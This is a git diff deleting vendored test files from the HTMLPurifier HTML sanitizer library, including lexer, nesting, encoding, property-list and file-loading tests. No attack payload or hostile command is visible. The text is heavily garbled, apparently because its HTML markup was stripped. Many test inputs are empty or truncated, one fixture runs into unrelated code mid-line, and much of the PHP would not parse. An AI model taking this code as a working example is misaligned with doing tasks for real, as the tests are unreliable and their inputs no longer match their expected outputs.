                          ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-underline.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-underline.htmlt deleted file mode 100644 index a06cf87d69..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-underline.htmlt +++ /dev/null @@ -1,7 +0,0 @@ ---INI-- -HTML.Strict = true ---HTML-- -Illegal underline ---EXPECT-- -Illegal underline ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/style-onload.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/style-onload.htmlt deleted file mode 100644 index c53c8c4214..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/style-onload.htmlt +++ /dev/null @@ -1,6 +0,0 @@ ---INI-- -Core.CollectErrors = true ---HTML-- -', - array( - new HTMLPurifier_Token_Start('style', array('type' => 'text/css')), - new HTMLPurifier_Token_Text("\ndiv {}\n"), - new HTMLPurifier_Token_End('style'), - ), - $extra - ); - } - - public function test_tokenizeHTML_tagWithAtSignAndExtraGt() - { - $alt_expect = array( - // Technically this is invalid, but it won't be a - // problem with invalid element removal; also, this - // mimics Mozilla's parsing of the tag. - new HTMLPurifier_Token_Start('a@'), - new HTMLPurifier_Token_Text('>'), - ); - $this->assertTokenization( - '>', - array( - new HTMLPurifier_Token_Start('a'), - new HTMLPurifier_Token_Text('>'), - new HTMLPurifier_Token_End('a'), - ), - array( - 'DirectLex' => $alt_expect, - ) - ); - } - - public function test_tokenizeHTML_emoticonHeart() - { - $this->assertTokenization( - '
                          <3
                          ', - array( - new HTMLPurifier_Token_Empty('br'), - new HTMLPurifier_Token_Text('<'), - new HTMLPurifier_Token_Text('3'), - new HTMLPurifier_Token_Empty('br'), - ), - array( - 'DOMLex' => array( - new HTMLPurifier_Token_Empty('br'), - new HTMLPurifier_Token_Text('<3'), - new HTMLPurifier_Token_Empty('br'), - ), - ) - ); - } - - public function test_tokenizeHTML_emoticonShiftyEyes() - { - $this->assertTokenization( - '<<', - array( - new HTMLPurifier_Token_Start('b'), - new HTMLPurifier_Token_Text('<'), - new HTMLPurifier_Token_Text('<'), - new HTMLPurifier_Token_End('b'), - ), - array( - 'DOMLex' => array( - new HTMLPurifier_Token_Start('b'), - new HTMLPurifier_Token_Text('<<'), - new HTMLPurifier_Token_End('b'), - ), - ) - ); - } - - public function test_tokenizeHTML_eon1996() - { - $this->assertTokenization( - '< test', - array( - new HTMLPurifier_Token_Text('<'), - new HTMLPurifier_Token_Text(' '), - new HTMLPurifier_Token_Start('b'), - new HTMLPurifier_Token_Text('test'), - new HTMLPurifier_Token_End('b'), - ), - array( - 'DOMLex' => array( - new HTMLPurifier_Token_Text('< '), - new HTMLPurifier_Token_Start('b'), - new HTMLPurifier_Token_Text('test'), - new HTMLPurifier_Token_End('b'), - ), - ) - ); - } - - public function test_tokenizeHTML_bodyInCDATA() - { - $alt_tokens = array( - new HTMLPurifier_Token_Text('<'), - new HTMLPurifier_Token_Text('body'), - new HTMLPurifier_Token_Text('>'), - new HTMLPurifier_Token_Text('Foo'), - new HTMLPurifier_Token_Text('<'), - new HTMLPurifier_Token_Text('/body'), - new HTMLPurifier_Token_Text('>'), - ); - $this->assertTokenization( - 'Foo]]>', - array( - new HTMLPurifier_Token_Text('Foo'), - ), - array( - 'PH5P' => $alt_tokens, - ) - ); - } - - public function test_tokenizeHTML_() - { - $this->assertTokenization( - '', - array( - new HTMLPurifier_Token_Start('a'), - new HTMLPurifier_Token_Empty('img'), - new HTMLPurifier_Token_End('a'), - ) - ); - } - - public function test_tokenizeHTML_ignoreIECondComment() - { - $this->assertTokenization( - '', - array() - ); - } - - public function test_tokenizeHTML_removeProcessingInstruction() - { - $this->config->set('Core.RemoveProcessingInstructions', true); - $this->assertTokenization( - '', - array() - ); - } - - public function test_tokenizeHTML_removeNewline() - { - $this->config->set('Core.NormalizeNewlines', true); - $this->assertTokenization( - "plain\rtext\r\n", - array( - new HTMLPurifier_Token_Text("plain\ntext\n") - ) - ); - } - - public function test_tokenizeHTML_noRemoveNewline() - { - $this->config->set('Core.NormalizeNewlines', false); - $this->assertTokenization( - "plain\rtext\r\n", - array( - new HTMLPurifier_Token_Text("plain\rtext\r\n") - ) - ); - } - - public function test_tokenizeHTML_conditionalCommentUngreedy() - { - $this->assertTokenization( - 'b', - array( - new HTMLPurifier_Token_Text("b") - ) - ); - } - - public function test_tokenizeHTML_imgTag() - { - $start = array( - new HTMLPurifier_Token_Start('img', - array( - 'src' => 'img_11775.jpg', - 'alt' => '[Img #11775]', - 'id' => 'EMBEDDED_IMG_11775', - ) - ) - ); - $this->assertTokenization( - '[Img #11775]', - array( - new HTMLPurifier_Token_Empty('img', - array( - 'src' => 'img_11775.jpg', - 'alt' => '[Img #11775]', - 'id' => 'EMBEDDED_IMG_11775', - ) - ) - ), - array( - 'DirectLex' => $start, - ) - ); - } - - public function test_tokenizeHTML_prematureDivClose() - { - $this->assertTokenization( - 'dontdie', - array( - new HTMLPurifier_Token_End('div'), - new HTMLPurifier_Token_Text('dont'), - new HTMLPurifier_Token_Start('b'), - new HTMLPurifier_Token_Text('die'), - new HTMLPurifier_Token_End('b'), - ), - array( - 'DOMLex' => $alt = array( - new HTMLPurifier_Token_Text('dont'), - new HTMLPurifier_Token_Start('b'), - new HTMLPurifier_Token_Text('die'), - new HTMLPurifier_Token_End('b') - ), - 'PH5P' => $alt - ) - ); - } - - - /* - - public function test_tokenizeHTML_() - { - $this->assertTokenization( - , - array( - - ) - ); - } - */ - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/domxml.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/domxml.phpt deleted file mode 100644 index f1e48fb58c..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/domxml.phpt +++ /dev/null @@ -1,15 +0,0 @@ ---TEST-- -DirectLex with domxml test ---SKIPIF-- -Salsa!'); ---EXPECT-- -Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/kses/basic.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/kses/basic.phpt deleted file mode 100644 index 15694ec9f0..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/kses/basic.phpt +++ /dev/null @@ -1,15 +0,0 @@ ---TEST-- -HTMLPurifier.kses.php basic test ---FILE-- -FooBar', - array( - 'a' => array('class' => 1, 'href' => 1), - ), - array('http') // no https! -); - ---EXPECT-- -FooBar \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/_autoload.inc b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/_autoload.inc deleted file mode 100644 index bf2905435c..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/_autoload.inc +++ /dev/null @@ -1,12 +0,0 @@ -getFileName() != realpath("../library/HTMLPurifier.autoload.php")'); - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-includes.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-includes.phpt deleted file mode 100644 index 6a8f909b82..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-includes.phpt +++ /dev/null @@ -1,12 +0,0 @@ ---TEST-- -HTMLPurifier.auto.php and HTMLPurifier.includes.php loading test ---FILE-- -purify('Salsa!'); ---EXPECT-- -Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-autoload.phpt deleted file mode 100644 index aad4372027..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-autoload.phpt +++ /dev/null @@ -1,28 +0,0 @@ ---TEST-- -HTMLPurifier.auto.php using spl_autoload_register with __autoload() already defined loading test ---SKIPIF-- -purify('Salsa!') . " -"; - -// purposely invoke older autoload -$bar = new Bar(); - ---EXPECT-- -Salsa! -Autoloading Bar... \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload-default.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload-default.phpt deleted file mode 100644 index a4011f1d31..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload-default.phpt +++ /dev/null @@ -1,25 +0,0 @@ ---TEST-- -HTMLPurifier.auto.php using spl_autoload_register default ---SKIPIF-- -purify('Salsa!') . " -"; - -// purposely invoke standard autoload -$test = new default_load(); - ---EXPECT-- -Salsa! -Default loaded diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload.phpt deleted file mode 100644 index 1697bb13f2..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload.phpt +++ /dev/null @@ -1,43 +0,0 @@ ---TEST-- -HTMLPurifier.auto.php using spl_autoload_register with user registration loading test ---SKIPIF-- -purify('Salsa!') . " -"; - -// purposely invoke older autoloads -$foo = new Foo(); -$bar = new Bar(); - ---EXPECT-- -Salsa! -Special autoloading Foo... -Autoloading Bar... \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-autoload.phpt deleted file mode 100644 index aeee9dceed..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-autoload.phpt +++ /dev/null @@ -1,19 +0,0 @@ ---TEST-- -HTMLPurifier.auto.php without spl_autoload_register without userland autoload loading test ---SKIPIF-- -purify('Salsa!') . " -"; - ---EXPECT-- -Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-with-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-with-autoload.phpt deleted file mode 100644 index 43453d5e2d..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-with-autoload.phpt +++ /dev/null @@ -1,21 +0,0 @@ ---TEST-- -HTMLPurifier.auto.php without spl_autoload_register but with userland -__autoload() defined test ---SKIPIF-- -purify('Salsa!'); ---EXPECT-- -Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/error-auto-with-spl-nonstatic-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/error-auto-with-spl-nonstatic-autoload.phpt deleted file mode 100644 index 1c23a86c16..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/error-auto-with-spl-nonstatic-autoload.phpt +++ /dev/null @@ -1,32 +0,0 @@ ---TEST-- -Error when registering autoload with non-static autoload already on SPL stack ---SKIPIF-- -=')) { - echo "skip - non-buggy version of PHP"; -} ---FILE-- -getMessage(), "44144") !== false'); -} - ---EXPECT-- -Caught error gracefully diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes-autoload.phpt deleted file mode 100644 index 2a19e460e2..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes-autoload.phpt +++ /dev/null @@ -1,14 +0,0 @@ ---TEST-- -HTMLPurifier.path.php, HTMLPurifier.includes.php and HTMLPurifier.autoload.php loading test ---FILE-- -purify('Salsa!'); - ---EXPECT-- -Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes.phpt deleted file mode 100644 index 1f5ca75d3b..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes.phpt +++ /dev/null @@ -1,12 +0,0 @@ ---TEST-- -HTMLPurifier.path.php and HTMLPurifier.includes.php loading test ---FILE-- -purify('Salsa!'); ---EXPECT-- -Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/safe-includes.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/safe-includes.phpt deleted file mode 100644 index f738a7a0f7..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/safe-includes.phpt +++ /dev/null @@ -1,12 +0,0 @@ ---TEST-- -HTMLPurifier.safe-includes.php loading test ---FILE-- -purify('Salsa!'); ---EXPECT-- -Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-autoload.phpt deleted file mode 100644 index 5afc189f48..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-autoload.phpt +++ /dev/null @@ -1,12 +0,0 @@ ---TEST-- -HTMLPurifier.standalone.php loading test ---FILE-- -purify('Salsa!'); ---EXPECT-- -Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-with-prefix.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-with-prefix.phpt deleted file mode 100644 index df7b300481..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-with-prefix.phpt +++ /dev/null @@ -1,15 +0,0 @@ ---TEST-- -HTMLPurifier.standalone.php with HTMLPURIFIER_PREFIX loading test ---FILE-- -purify('Salsa!'); -assert('in_array(realpath("../library/HTMLPurifier/Filter/YouTube.php"), get_included_files())'); ---EXPECT-- -Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone.phpt deleted file mode 100644 index 755895b62e..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone.phpt +++ /dev/null @@ -1,13 +0,0 @@ ---TEST-- -HTMLPurifier.standalone.php loading test ---FILE-- -purify('Salsa!'); -assert('in_array(realpath("../library/standalone/HTMLPurifier/Filter/YouTube.php"), get_included_files())'); ---EXPECT-- -Salsa! \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/stub.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/stub.phpt deleted file mode 100644 index 24ef5c3e1f..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/stub.phpt +++ /dev/null @@ -1,6 +0,0 @@ ---TEST-- -PHPT testing framework smoketest ---FILE-- -Foobar ---EXPECT-- -Foobar \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/utf8.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/utf8.phpt deleted file mode 100644 index 715d2db2a8..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/utf8.phpt +++ /dev/null @@ -1,9 +0,0 @@ ---TEST-- -UTF-8 smoketest ---FILE-- -purify('太極拳, ЊЎЖ, لمنس'); ---EXPECT-- -太極拳, ЊЎЖ, لمنس \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/ze1_compatibility_mode.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/ze1_compatibility_mode.phpt deleted file mode 100644 index 415b2aaad8..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/ze1_compatibility_mode.phpt +++ /dev/null @@ -1,14 +0,0 @@ ---TEST-- -Error with zend.ze1_compatibility_mode test ---PRESKIPIF-- -= 0) { - echo 'skip - ze1_compatibility_mode not present in PHP 5.3 or later'; -} ---INI-- -zend.ze1_compatibility_mode = 1 ---FILE-- -PercentEncoder = new HTMLPurifier_PercentEncoder(); - $this->func = ''; - } - - public function assertDecode($string, $expect = true) - { - if ($expect === true) $expect = $string; - $this->assertIdentical($this->PercentEncoder->{$this->func}($string), $expect); - } - - public function test_normalize() - { - $this->func = 'normalize'; - - $this->assertDecode('Aw.../-$^8'); // no change - $this->assertDecode('%41%77%7E%2D%2E%5F', 'Aw~-._'); // decode unreserved chars - $this->assertDecode('%3A%2F%3F%23%5B%5D%40%21%24%26%27%28%29%2A%2B%2C%3B%3D'); // preserve reserved chars - $this->assertDecode('%2b', '%2B'); // normalize to uppercase - $this->assertDecode('%2B2B%3A3A'); // extra text - $this->assertDecode('%2b2B%4141', '%2B2BA41'); // extra text, with normalization - $this->assertDecode('%', '%25'); // normalize stray percent sign - $this->assertDecode('%5%25', '%255%25'); // permaturely terminated encoding - $this->assertDecode('%GJ', '%25GJ'); // invalid hexadecimal chars - - // contested behavior, if this changes, we'll also have to have - // outbound encoding - $this->assertDecode('%FC'); // not reserved or unreserved, preserve - - } - - public function assertEncode($string, $expect = true, $preserve = false) - { - if ($expect === true) $expect = $string; - $encoder = new HTMLPurifier_PercentEncoder($preserve); - $result = $encoder->encode($string); - $this->assertIdentical($result, $expect); - } - - public function test_encode_noChange() - { - $this->assertEncode('abc012-_~.'); - } - - public function test_encode_encode() - { - $this->assertEncode('>', '%3E'); - } - - public function test_encode_preserve() - { - $this->assertEncode('<>', '<%3E', '<'); - } - - public function test_encode_low() - { - $this->assertEncode("\1", '%01'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PropertyListTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PropertyListTest.php deleted file mode 100644 index d0961959e3..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PropertyListTest.php +++ /dev/null @@ -1,101 +0,0 @@ -set('key', 'value'); - $this->assertIdentical($plist->get('key'), 'value'); - } - - public function testNotFound() - { - $this->expectException(new HTMLPurifier_Exception("Key 'key' not found")); - $plist = new HTMLPurifier_PropertyList(); - $plist->get('key'); - } - - public function testRecursion() - { - $parent_plist = new HTMLPurifier_PropertyList(); - $parent_plist->set('key', 'value'); - $plist = new HTMLPurifier_PropertyList(); - $plist->setParent($parent_plist); - $this->assertIdentical($plist->get('key'), 'value'); - } - - public function testOverride() - { - $parent_plist = new HTMLPurifier_PropertyList(); - $parent_plist->set('key', 'value'); - $plist = new HTMLPurifier_PropertyList(); - $plist->setParent($parent_plist); - $plist->set('key', 'value2'); - $this->assertIdentical($plist->get('key'), 'value2'); - } - - public function testRecursionNotFound() - { - $this->expectException(new HTMLPurifier_Exception("Key 'key' not found")); - $parent_plist = new HTMLPurifier_PropertyList(); - $plist = new HTMLPurifier_PropertyList(); - $plist->setParent($parent_plist); - $this->assertIdentical($plist->get('key'), 'value'); - } - - public function testHas() - { - $plist = new HTMLPurifier_PropertyList(); - $this->assertIdentical($plist->has('key'), false); - $plist->set('key', 'value'); - $this->assertIdentical($plist->has('key'), true); - } - - public function testReset() - { - $plist = new HTMLPurifier_PropertyList(); - $plist->set('key1', 'value'); - $plist->set('key2', 'value'); - $plist->set('key3', 'value'); - $this->assertIdentical($plist->has('key1'), true); - $this->assertIdentical($plist->has('key2'), true); - $this->assertIdentical($plist->has('key3'), true); - $plist->reset('key2'); - $this->assertIdentical($plist->has('key1'), true); - $this->assertIdentical($plist->has('key2'), false); - $this->assertIdentical($plist->has('key3'), true); - $plist->reset(); - $this->assertIdentical($plist->has('key1'), false); - $this->assertIdentical($plist->has('key2'), false); - $this->assertIdentical($plist->has('key3'), false); - } - - public function testSquash() - { - $parent = new HTMLPurifier_PropertyList(); - $parent->set('key1', 'hidden'); - $parent->set('key2', 2); - $plist = new HTMLPurifier_PropertyList($parent); - $plist->set('key1', 1); - $plist->set('key3', 3); - $this->assertIdentical( - $plist->squash(), - array('key1' => 1, 'key2' => 2, 'key3' => 3) - ); - // updates don't show up... - $plist->set('key2', 22); - $this->assertIdentical( - $plist->squash(), - array('key1' => 1, 'key2' => 2, 'key3' => 3) - ); - // until you force - $this->assertIdentical( - $plist->squash(true), - array('key1' => 1, 'key2' => 22, 'key3' => 3) - ); - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/Reporter.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/Reporter.php deleted file mode 100644 index 85be1b77c0..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/Reporter.php +++ /dev/null @@ -1,65 +0,0 @@ -ac = $ac; - parent::__construct($encoding); - } - - public function paintHeader($test_name) - { - parent::paintHeader($test_name); -?> -
                          - - ac['standalone']) {echo 'checked="checked" ';} ?>/> - -
                          -Max memory usage: $max_mem bytes"; - } - parent::paintFooter($test_name); - } - - protected function getCss() - { - $css = parent::getCss(); - $css .= ' - #select {position:absolute;top:0.2em;right:0.2em;} - '; - return $css; - } - - public function getTestList() - { - // hacky; depends on a specific implementation of paintPass, etc. - $list = parent::getTestList(); - $testcase = $list[1]; - if (class_exists($testcase, false)) $file = str_replace('_', '/', $testcase) . '.php'; - else $file = $testcase; - $list[1] = '' . $testcase . ''; - return $list; - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/TextReporter.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/TextReporter.php deleted file mode 100644 index 583ed40796..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/TextReporter.php +++ /dev/null @@ -1,24 +0,0 @@ -verbose = $AC['verbose']; - } - public function paintPass($message) - { - parent::paintPass($message); - if ($this->verbose) { - print 'Pass ' . $this->getPassCount() . ") $message\n"; - $breadcrumb = $this->getTestList(); - array_shift($breadcrumb); - print "\tin " . implode("\n\tin ", array_reverse($breadcrumb)); - print "\n"; - } - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CompositeTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CompositeTest.php deleted file mode 100644 index e681381040..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CompositeTest.php +++ /dev/null @@ -1,67 +0,0 @@ -strategies =& $strategies; - } - -} - -// doesn't use Strategy harness -class HTMLPurifier_Strategy_CompositeTest extends HTMLPurifier_Harness -{ - - public function test() - { - generate_mock_once('HTMLPurifier_Strategy'); - generate_mock_once('HTMLPurifier_Config'); - generate_mock_once('HTMLPurifier_Context'); - - // setup a bunch of mock strategies to inject into our composite test - - $mock_1 = new HTMLPurifier_StrategyMock(); - $mock_2 = new HTMLPurifier_StrategyMock(); - $mock_3 = new HTMLPurifier_StrategyMock(); - - // setup the object - - $strategies = array(&$mock_1, &$mock_2, &$mock_3); - $composite = new HTMLPurifier_Strategy_Composite_Test($strategies); - - // setup expectations - - $input_1 = 'This is raw data'; - $input_2 = 'Processed by 1'; - $input_3 = 'Processed by 1 and 2'; - $input_4 = 'Processed by 1, 2 and 3'; // expected output - - $config = new HTMLPurifier_ConfigMock(); - $context = new HTMLPurifier_ContextMock(); - - $params_1 = array($input_1, $config, $context); - $params_2 = array($input_2, $config, $context); - $params_3 = array($input_3, $config, $context); - - $mock_1->expectOnce('execute', $params_1); - $mock_1->returns('execute', $input_2, $params_1); - - $mock_2->expectOnce('execute', $params_2); - $mock_2->returns('execute', $input_3, $params_2); - - $mock_3->expectOnce('execute', $params_3); - $mock_3->returns('execute', $input_4, $params_3); - - // perform test - - $output = $composite->execute($input_1, $config, $context); - $this->assertIdentical($input_4, $output); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CoreTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CoreTest.php deleted file mode 100644 index 89a13f49ae..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CoreTest.php +++ /dev/null @@ -1,51 +0,0 @@ -obj = new HTMLPurifier_Strategy_Core(); - } - - public function testBlankInput() - { - $this->assertResult(''); - } - - public function testMakeWellFormed() - { - $this->assertResult( - 'Make well formed.', - 'Make well formed.' - ); - } - - public function testFixNesting() - { - $this->assertResult( - '
                          Fix nesting.
                          ', - '
                          Fix nesting.
                          ' - ); - } - - public function testRemoveForeignElements() - { - $this->assertResult( - 'Foreign element removal.', - 'Foreign element removal.' - ); - } - - public function testFirstThree() - { - $this->assertResult( - '
                          All three.
                          ', - '
                          All three.
                          ' - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ErrorsHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ErrorsHarness.php deleted file mode 100644 index 3efc836f98..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ErrorsHarness.php +++ /dev/null @@ -1,19 +0,0 @@ -getStrategy(); - $lexer = new HTMLPurifier_Lexer_DirectLex(); - $tokens = $lexer->tokenizeHTML($input, $this->config, $this->context); - $strategy->execute($tokens, $this->config, $this->context); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNestingTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNestingTest.php deleted file mode 100644 index 9e3907456e..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNestingTest.php +++ /dev/null @@ -1,163 +0,0 @@ -obj = new HTMLPurifier_Strategy_FixNesting(); - } - - public function testPreserveInlineInRoot() - { - $this->assertResult('Bold text'); - } - - public function testPreserveInlineAndBlockInRoot() - { - $this->assertResult('Blank
                          Block
                          '); - } - - public function testRemoveBlockInInline() - { - $this->assertResult( - '
                          Illegal div.
                          ', - 'Illegal div.' - ); - } - - public function testRemoveNodeWithMissingRequiredElements() - { - $this->assertResult('
                            ', ''); - } - - public function testListHandleIllegalPCDATA() - { - $this->assertResult( - '
                              Illegal text
                            • Legal item
                            ', - '
                            • Illegal text
                            • Legal item
                            ' - ); - } - - public function testRemoveIllegalPCDATA() - { - $this->assertResult( - 'Illegal text
                            ', - '
                            ' - ); - } - - public function testCustomTableDefinition() - { - $this->assertResult('
                            Cell 1
                            '); - } - - public function testRemoveEmptyTable() - { - $this->assertResult('
                            ', ''); - } - - public function testChameleonRemoveBlockInNodeInInline() - { - $this->assertResult( - '
                            Not allowed!
                            ', - 'Not allowed!' - ); - } - - public function testChameleonRemoveBlockInBlockNodeWithInlineContent() - { - $this->assertResult( - '

                            Not allowed!

                            ', - '

                            Not allowed!

                            ' - ); - } - - public function testNestedChameleonRemoveBlockInNodeWithInlineContent() - { - $this->assertResult( - '

                            Not allowed!

                            ', - '

                            Not allowed!

                            ' - ); - } - - public function testNestedChameleonPreserveBlockInBlock() - { - $this->assertResult( - '
                            Allowed!
                            ' - ); - } - - public function testExclusionsIntegration() - { - // test exclusions - $this->assertResult( - 'Not allowed', - '' - ); - } - - public function testPreserveInlineNodeInInlineRootNode() - { - $this->config->set('HTML.Parent', 'span'); - $this->assertResult('Bold'); - } - - public function testRemoveBlockNodeInInlineRootNode() - { - $this->config->set('HTML.Parent', 'span'); - $this->assertResult('
                            Reject
                            ', 'Reject'); - } - - public function testInvalidParentError() - { - // test fallback to div - $this->config->set('HTML.Parent', 'obviously-impossible'); - $this->config->set('Cache.DefinitionImpl', null); - $this->expectError('Cannot use unrecognized element as parent'); - $this->assertResult('
                            Accept
                            '); - } - - public function testCascadingRemovalOfNodesMissingRequiredChildren() - { - $this->assertResult('
                            ', ''); - } - - public function testCascadingRemovalSpecialCaseCannotScrollOneBack() - { - $this->assertResult('
                            ', ''); - } - - public function testLotsOfCascadingRemovalOfNodes() - { - $this->assertResult('
                            ', ''); - } - - public function testAdjacentRemovalOfNodeMissingRequiredChildren() - { - $this->assertResult('
                            ', ''); - } - - public function testStrictBlockquoteInHTML401() - { - $this->config->set('HTML.Doctype', 'HTML 4.01 Strict'); - $this->assertResult('
                            text
                            ', '

                            text

                            '); - } - - public function testDisabledExcludes() - { - $this->config->set('Core.DisableExcludes', true); - $this->assertResult('
                            '); - } - - public function testDoubleKill() - { - $this->config->set('HTML.Allowed', 'ul'); - $this->expectError('Cannot allow ul/ol without allowing li'); - $this->assertResult('
                              foo
